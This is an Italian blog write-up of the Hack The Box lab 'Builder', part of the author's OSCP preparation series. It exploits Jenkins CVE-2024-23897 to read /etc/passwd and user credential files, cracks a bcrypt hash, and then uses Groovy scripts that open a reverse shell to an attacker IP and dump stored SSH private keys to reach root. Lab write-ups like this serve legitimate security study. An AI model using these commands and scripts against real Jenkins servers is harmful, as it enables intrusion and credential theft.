Salta al contenuto principale
Builder (HTB) - Writeup
  1. Blog/
  2. Writeup/

Builder (HTB) - Writeup

m1ndl00p
Autore
m1ndl00p
Penetration tester | eWPT | OSCP
Indice dei contenuti

Introduzione
#

Attenzione!

Tutte le tecniche descritte in questo articolo sono puramente a scopo educativo.
L'autore non incoraggia né supporta attività illegali e non è responsabile per eventuali usi impropri delle informazioni presenti su questo sito.
Per ulteriori dettagli fare riferimento a disclaimer!

Builder è una macchina Hack The Box (HTB) di difficoltà media, basata su un’istanza di Jenkins vulnerabile alla CVE-2024-23897, una vulnerabilità che permette di leggere file arbitrari del sistema. Questa vulnerabilità permette a un attaccante di ottenere le credenziali di un utente registrato per accedere alla console di Jenkins ed eseguire codice arbitrario sulla macchina. Tramite Jenkins è inoltre possibile decifrare una chiave privata SSH per accedere come root alla macchina e compromettere l’intero host.

Questo articolo fa parte della serie Road to OSCP, il mio diario personale in cui documento il percorso di studio e l’esperienza maturata durante la preparazione alla certificazione OSCP di Offensive Security. Se sei interessato ad altri contenuti simili, ti invito a consultare la sezione dedicata alla serie.

Enumerazione
#

Port scanning
#

Da una prima scansione nmap è possibile osservare che il server espone solo 2 servizi: SSH (22/tcp) e un server web (8080/tcp).

PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
8080/tcp open  http-proxy syn-ack ttl 62

Eseguendo una scansione più approfondita si possono rilevare le versioni di alcuni software in uso:

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
8080/tcp open  http    syn-ack ttl 62 Jetty 10.0.18
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(10.0.18)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: Dashboard [Jenkins]

8080 (TCP) - HTTP
#

Sulla porta 8080 TCP è esposto un server web che ospita un’istanza di Jenkins, un software open source scritto in Java che supporta gli sviluppatori nell’automatizzare compiti ripetitivi dello sviluppo software facilitando il CI/CD (continuous integration/continuous deployment):

Home page di Jenkins
Home page di Jenkins

Analizzando la risposta HTTP del server, si ottengono informazioni sulle versioni dei software in uso come la versione di Jenkins installata (2.441):

Versioni software installati
Risposta HTTP con le versioni di Jetty e Jenkins installate

Navigando l’applicazione web, la sezione People mostra una lista di utenti registrati e scopro così l’utente jennifer:

Utenti registrati
Lista degli utenti registrati

Accesso iniziale
#

CVE-2024-23897
#

La versione di Jenkins installata (2.441) risulta essere affetta dalla vulnerabilità CVE-2024-23897. Di seguito una breve descrizione:

Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an ‘@’ character followed by a file path in an argument with the file’s contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.

Fonte: NIST

Jenkins possiede un’interfaccia da linea di comando che permette di controllare l’istanza tramite uno script o una shell. Questa interfaccia può essere utilizzata o tramite SSH o tramite il client .jar distribuito con l’installazione di Jenkins. Come indicato dalla documentazione, il client è scaricabile direttamente dall’host:

wget http://$TARGET_IP:8080/jnlpJars/jenkins-cli.jar

Tramite questo è possibile quindi interagire con l’istanza Jenkins ed eseguire alcuni comandi come il seguente:

java -jar jenkins-cli.jar -s 'http://$TARGET_IP$:8080' 'who-am-i'
Output comando eseguito con Jenkins CLI
Esecuzione di un comando tramite Jenkins CLI e accesso anonimo

La vulnerabilità che affligge la versione di Jenkins installata nasce dal parsing errato degli argomenti passati sulla linea di comando al client jar. Jenkins utilizza la libreria args4j di Java che permette di leggere argomenti e opzioni specificati su linea di comando. Di default il parser sostituisce il carattere @ seguito dal percorso di un file (es. @/path/to/file) in un argomento con il contenuto del file. Nell’output del comando eseguito verranno generati degli errori che mostrano il contenuto del file, permettendo in pratica a un attaccante di leggere file arbitrari del sistema.

L’impatto della vulnerabilità dipende dai comandi disponibili e dai permessi concessi all’utente: con privilegi Overall/Read si può accedere al contenuto completo del file, mentre senza questi privilegi si può accedere solo parzialmente al file. Inoltre la lettura di file binari è limitata, poiché questi vengono letti come stringhe e alcuni byte potrebbero non essere interpretati correttamente e sostituiti con dei valori placeholder.

Tramite il seguente comando verifico la presenza e la sfruttabilità della vulnerabilità provando a leggere il file /etc/passwd:

java -jar jenkins-cli.jar -s 'http://$TARGET_IP$:8080' 'connect-node' '@/etc/passwd'
Arbitrary File Read
Accesso al file /etc/passwd della macchina

Jenkins di default salva la lista degli utenti registrati nel file XML ${JENKINS_HOME}/users/users.xml che, in questo caso, si trova in /var/jenkins_home/users/users.xml:

java -jar jenkins-cli.jar -s 'http://$TARGET_IP$:8080' 'connect-node' '@/var/jenkins_home/users/users.xml'
Lista utenti registrati
Lista degli utenti registrati in Jenkins

Da questo file si può estrarre l’identificativo jennifer_12108429903186576833 che rappresenta il nome della directory in cui vengono salvate le credenziali cifrate dell’utente jennifer. Jenkins salva le credenziali degli utenti nel file XML ${JENKINS_HOME}/users/<user_id>/config.xml. Accedendo al file /var/jenkins_home/users/jennifer_12108429903186576833/config.xml si ottiene l’hash della password dell’utente:

java -jar jenkins-cli.jar -s 'http://$TARGET_IP:8080' 'connect-node' '@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml'
Hash password jennifer
Hash della password dell'utente jennifer

Jenkins salva gli hash delle password degli utenti in formato bcrypt. Dal manuale di hashcat identifico la modalità di cracking corretta basandomi sul formato dell’hash ottenuta. Poiché questa inizia con $2a$ opto per la modalità 3200.

hashcat -hh | grep -i bcrypt
Manuale di hashcat
Formato hashcat per il cracking offline

Procedo ora all’attacco offline dell’hash per provare a ottenere la password dell’utente in chiaro:

hashcat -m 3200 jennifer.hash --wordlist /usr/share/wordlists/rockyou.txt --force
Hashcat password craking
Password ottenuta tramite cracking offline dell'hash bcrypt

Le credenziali così ottenute (jennifer/princess) possono essere usate per accedere all’istanza di Jenkins:

Accesso a Jenkins
Accesso a Jenkins come utente jennifer

Ora posso accedere alla console di Jenkins che, come evidenziato di seguito, permette di eseguire script Groovy arbitrari sul server:

Console di Jenkins
Jenkins permette l'esecuzione di codice arbitrario sul server

Provo quindi ad eseguire un comando non invasivo (whoami) sul server tramite il seguente script:

def cmd = "whoami"
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout"
println "err> $serr"
Output codice eseguito sul server
Comando eseguito con successo sul server

Confermato questo, posso provare a ottenere una reverse shell con il seguente script:

String host="<attacker_ip>"; // Sostituire con IP macchina attacante
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
  while(pi.available()>0)so.write(pi.read());
  while(pe.available()>0)so.write(pe.read());
  while(si.available()>0)po.write(si.read());
  so.flush();po.flush();
  Thread.sleep(50);
  try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();s.close();

Ottengo in questo modo una shell interattiva sul sistema come utente jenkins:

Connessione ricevuta dal server remoto per una reverse shell
Reverse shell ottenuta come utente jenkins

Enumerando il sistema scopro di trovarmi con molta probabilità in un container Docker, poiché l’hostname è un valore esadecimale e nella root del file system è presente il file .dockerenv:

Docker container
Reverse shell ottenuta in un container Docker

Proseguendo con l’analisi, eseguo deepce.sh per identificare eventuali metodi per uscire dal container e ottenere accesso all’host sottostante. Dal seguente output si scopre che il file con la prima flag è stato montato nella home di Jenkins e che non sono presenti metodi immediati per accedere all’host:

Output di deepce.sh
Flag utente montata nella home di Jenkins

Verifico quanto scoperto e accedo così alla flag utente:

Flag utente
Ottenimento della flag utente tramite shell interattiva

Da notare che questo file è accessibile anche senza ottenere una shell interattiva, sfruttando la vulnerabilità di Jenkins analizzata precedentemente:

Flag utente alternativa
Ottenimento della flag utente senza shell interattiva

Privilege escalation
#

Tramite la console si possono decifrare le chiavi SSH salvate in Jenkins. Il seguente script permette di accedere alle credenziali SSH salvate nell’instanza e decifrarle:

def  sshCreds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey.class,
    Jenkins.instance,
    null,
    null
);

for (c in sshCreds) {
  println(c.id + ":" + c.username);
  println(c.privateKey);
}

In questo modo ottengo la chiave SSH privata dell’utente root in chiaro:

Chiave SSH decifrata
Accesso alla chiave SSH dell'utente root

Salvando questa chiave in locale in id_rsa e modificando adeguatamente i permessi (chmod 600 id_rsa) è possibile accedere in SSH al server come utente root e completare la compromissione:

Accesso SSH con chiave privata
Shell come root ottenuta tramite SSH

L’ultima flag è salvata in /root/root.txt come di consueto:

Flag finale
Ottenimento della flag finale

Conclusioni
#

Builder è una macchina basata interamente su Jenkins e rappresenta un ottimo punto di partenza per acquisire familiarità con questa tecnologia. Questo laboratorio fornisce all’utente tutti gli strumenti necessari a comprendere il funzionamento generale di Jenkins e come questo gestisce segreti e credenziali degli utenti.

Nonostante la macchina sia classificata come media, essa non presenta picchi di difficoltà elevati. La difficoltà bilanciata permette all’utente di approfondire vari temi e prendersi tutto il tempo necessario per provare ad attaccare il sistema senza rischiare di perdersi in ricerche senza fine.

Inoltre l’accesso iniziale al sistema non deriva dall’esecuzione di un singolo exploit pubblico come avviene spesso per altre macchine. Una volta individuata la vulnerabilità che affligge il sistema è necessario scavare nella documentazione e consultare varie fonti per individuare a quali dati accedere e come utilizzare funzioni lecite dell’applicazione per compromettere interamente la macchina.

Articoli correlati